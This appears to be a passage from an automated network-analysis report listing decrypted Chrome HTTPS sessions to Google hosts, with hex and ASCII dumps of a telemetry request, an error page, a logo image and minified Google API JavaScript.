2024-11-14 19:43:04 UTC	1108	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-11-14 19:43:04 UTC	447	IN	Data Raw: 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c Data Ascii: -min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.googl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49805	172.217.18.14	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:04 UTC	1004	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 910 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:04 UTC	910	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 36 31 33 33 38 31 39 33 34 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1731613381934",null,null,null,
2024-11-14 19:43:05 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 14 Nov 2024 19:43:05 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-14 19:43:05 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-14 19:43:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49807	142.250.184.196	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:04 UTC	982	OUT	GET /images/branding/googlelogo/1x/googlelogo_color_150x54dp.png HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:05 UTC	671	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Type: image/png Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 3170 Date: Thu, 14 Nov 2024 19:43:05 GMT Expires: Thu, 14 Nov 2024 19:43:05 GMT Cache-Control: private, max-age=31536000 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 19:43:05 UTC	707	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 36 08 06 00 00 00 25 1d 60 0c 00 00 0c 29 49 44 41 54 78 da ed 5d 0b 70 54 d5 19 3e 98 6c 00 1f 88 da 97 b5 82 62 ad 14 28 48 76 37 20 44 37 f7 6e 08 38 83 a2 a5 b4 56 ab a5 48 5f 82 52 3b 53 1f 68 59 60 77 13 28 b6 d5 2a b6 4e 5f 52 ab 22 30 60 a9 2d e6 41 a9 1d 7c b4 2a 4e c5 fa 60 b0 a8 80 ec 6e 02 84 7b ef 26 90 84 6c ff 6f e0 0e 3b 9b ff de bd 8f 84 61 9a f3 cd 9c d9 64 ef dd 24 e7 f0 9d ff f1 fd ff b9 08 09 09 09 89 fe 89 e9 b1 dc e9 4a 9d 31 ae 2a 91 9d a1 d4 1a 37 2b 09 63 8e 9a d4 6f a0 a1 54 2f cf 7e 56 e4 72 03 84 84 84 13 44 eb da 47 a8 49 63 11 91 e7 e5 aa b8 d6 45 5f e7 ac 46 55 52 db a3 26 f4 df 55 25 8c a9 b1 58 ee 34 21 21 51 88 48 22 3b 91 c8 f4 1c 08 e3 65 28 49 63 07 Data Ascii: PNGIHDR6%`)IDATx]pT>lb(Hv7 D7n8VH_R;ShY`w(N_R"0`-A\|N`n{&lo;ad$J1*7+coT/~VrDGIcE_FUR&U%X4!!QH";e(Ic
2024-11-14 19:43:05 UTC	1378	IN	Data Raw: b8 2f b7 45 0c f2 e2 21 88 48 cb 20 df d8 08 c8 2f 44 6b db ae 38 9e 54 fd 99 be 7f 2b 7f f8 25 56 73 34 14 ce 44 43 1b 52 d1 60 a7 f5 5a 06 df c2 e6 05 c1 bc 0a a2 1f 30 13 5b 29 4e 21 a4 ab 83 95 19 25 fc 3e 26 ec 62 ec 24 92 4d 12 0e d1 d1 50 1a 21 c2 fc 97 21 92 1d c1 de 27 4b 76 a5 e3 b5 4e 64 af a1 b5 6d 76 52 fa 3a 96 4c e9 0b e8 eb 77 0b af 79 25 d6 8e 69 9f 1f 48 eb f2 b0 bb 75 0c d5 ef 89 86 cf 73 dd 53 65 31 b1 5b c5 29 02 22 c7 cd 29 25 d8 85 49 ba 1d d8 91 f8 bc 28 82 23 4d 81 d9 34 ba 40 16 b7 03 9f 23 17 f9 cd e2 1b 58 9f e7 84 50 3c c1 fc 13 6b df 94 b1 67 a4 95 f0 16 4f eb a8 86 df 49 a9 13 3e 2d 9c 02 a2 27 1f 5f e9 51 e1 12 54 ea 79 0f 3d 5a 9e 47 52 7b 5d 14 80 26 74 7d 2a 1a ee c6 e4 bc 8e 94 12 3e 4a 04 9b 21 2c d0 d9 58 36 f3 48 43 Data Ascii: /E!H /Dk8T+%Vs4DCR`Z0[)N!%>&b$MP!!'KvNdmvR:Lwy%iHusSe1[)")%I(#M4@#XP<kgOI>-'_QTy=ZGR{]&t}*>J!,X6HC
2024-11-14 19:43:05 UTC	1085	IN	Data Raw: d1 32 23 1c 00 ad 4b 7d 21 37 c0 72 a7 aa c3 51 27 9d 0b b8 a7 68 d0 ee ab 50 1a 37 9a 50 9e f0 62 0d d1 67 44 a4 6d b3 e8 52 9d 27 0a 80 0c 90 57 cf 83 f3 85 03 40 9a e0 3e 0f 51 30 cf 8d 8d 03 11 18 1d ea 36 e1 00 74 df 9d 6c 69 a7 3e 30 e6 84 85 36 ca 2d d6 73 a1 28 82 e0 63 b9 00 e9 89 af f4 89 40 0a 0f a0 56 28 a2 38 b0 c9 6f 43 dc d5 5c 13 1c e9 cf 25 26 8c 47 6d ca 2e 59 22 c2 4f 6a e2 6d 17 8a 22 40 f0 8a 62 36 7a 8b ac 7f 9e be d1 aa ac 01 cd 89 31 dd 5d e8 11 2a a2 5f cd c6 7d 4c 91 f5 2f 8c 5c d0 c8 65 75 d4 ad 60 2b 09 a0 9b 81 eb 86 a0 f7 36 89 02 70 f3 c7 b9 4d 25 ae 7f dd f6 54 53 42 fb 83 df 92 8e 29 2b c0 42 31 e4 6a a6 8e 85 b1 c2 06 a8 bf a2 62 61 66 d4 10 4f 1d 5a 2f 9e 10 78 4a 4c d1 56 8e b8 b1 15 19 0b 74 19 f4 c6 a3 be 88 7e 23 fa Data Ascii: 2#K}!7rQ'hP7PbgDmR'W@>Q06tli>06-s(c@V(8oC\%&Gm.Y"Ojm"@b6z1]*_}L/\eu`+6pM%TSB)+B1jbafOZ/xJLVt~#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49809	142.250.186.142	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:05 UTC	674	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:05 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Thu, 14 Nov 2024 19:43:05 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 19:43:05 UTC	1108	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-11-14 19:43:05 UTC	447	IN	Data Raw: 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c Data Ascii: -min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.googl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49811	142.250.184.238	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:06 UTC	811	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:06 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 14 Nov 2024 16:07:55 GMT Expires: Fri, 14 Nov 2025 16:07:55 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 12911 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 19:43:06 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-14 19:43:06 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-11-14 19:43:06 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-11-14 19:43:06 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-11-14 19:43:06 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
